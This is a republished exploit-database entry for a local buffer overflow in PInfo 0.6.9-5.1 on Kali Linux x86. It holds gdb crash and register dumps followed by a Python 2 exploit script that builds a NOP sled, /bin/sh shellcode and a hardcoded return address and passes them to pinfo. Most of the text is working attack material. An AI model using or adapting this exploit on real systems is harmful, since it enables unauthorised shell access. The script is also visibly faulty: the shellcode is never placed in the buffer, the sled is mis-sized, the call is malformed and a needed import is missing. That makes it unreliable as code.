PInfo 0.6.9-5.1 – Local Buffer Overflow

Exploit Database
117 阅读

作者： Juan Sacco

日期： 2016-06-27
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/40023/

# Exploit developed using Exploit Pack v5.4

# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com

# Program affected: PInfo - File viewer

# Version: 0.6.9-5.1

# Tested and developed under:Kali Linux 2.0 x86 - https://www.kali.org

# Program description:An alternative info-file viewer

# pinfo is an viewer for Info documents, which is based on ncurses.

# Kali Linux 2.0 package: pool/main/p/pinfo/pinfo_0.6.9-5.1_i386.deb

# MD5sum: 9487efb0be037536eeda31b588cb6f89

# Website:http://pinfo.alioth.debian.org/

# $ run -m <code>python -c 'print "A"*564+"DCBA"'

# Program received signal SIGSEGV, Segmentation fault.

# --------------------------------------------------------------------------[regs]

#EAX: 0x00000002EBX: 0xB7F0B000ECX: 0x00004554EDX: 0x00000100

# o d I t s z a P c

#ESI: 0x41424344EDI: 0x00004554EBP: 0xBFFFF4A4ESP: 0xBFFFEF30

# EIP: 0xB7D92832

#CS: 0073DS: 007BES: 007BFS: 0000GS: 0033SS: 007B

# --------------------------------------------------------------------------[code]

# => 0xb7d92832 <__GI_getenv+114>:cmpdi,WORD PTR [esi]

# 0xb7d92835 <__GI_getenv+117>:jne0xb7d92828 <__GI_getenv+104>

# 0xb7d92837 <__GI_getenv+119>:moveax,DWORD PTR [esp+0x14]

# 0xb7d9283b <__GI_getenv+123>:movDWORD PTR [esp+0x8],eax

# 0xb7d9283f <__GI_getenv+127>:moveax,DWORD PTR [esp+0x18]

# 0xb7d92843 <__GI_getenv+131>:movDWORD PTR [esp+0x4],eax

# 0xb7d92847 <__GI_getenv+135>:leaeax,[esi+0x2]

# 0xb7d9284a <__GI_getenv+138>:movDWORD PTR [esp],eax

# --------------------------------------------------------------------------------

#gdb$ x/100x $esp

# 0xbffff250:0xbffff49c0x000000030x000000010x00000002

# 0xbffff260:0xb7d6ebf80xb7fe78bd0xb7d74ffd0x41049384

# 0xbffff270:0x414141410x414141410x414141410x41414141

# 0xbffff280:0x414141410x414141410x414141410x41414141

# 0xbffff290:0x414141410x414141410x414141410x41414141

# 0xbffff2a0:0x414141410x414141410x414141410x41414141

# 0xbffff2b0:0x414141410x414141410x414141410x41414141

import os, subprocess

def run():

try:

print "# PInfo File Viewer - Local Buffer Overflow by Juan Sacco"

print "# This Exploit has been developed using Exploit Pack"

# NOPSLED + SHELLCODE + EIP

buffersize = 564

nopsled = "\x90"*200

shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

eip = "\x40\xf3\xff\xbf"

buffer = nopsled * (buffersize-len(shellcode)) + eip

subprocess.call(["pinfo -m",' ', buffer])

except OSError as e:

if e.errno == os.errno.ENOENT:

print "Sorry, PInfo File Viewer - Not found!"

else:

print "Error executing exploit"

raise

def howtousage():

print "Snap! Something went wrong"

sys.exit(-1)

if __name__ == '__main__':

try:

print "Exploit PInfo 0.6.9-5.1 Local Overflow Exploit"

print "Author: Juan Sacco - Exploit Pack"

except IndexError:

howtousage()

run()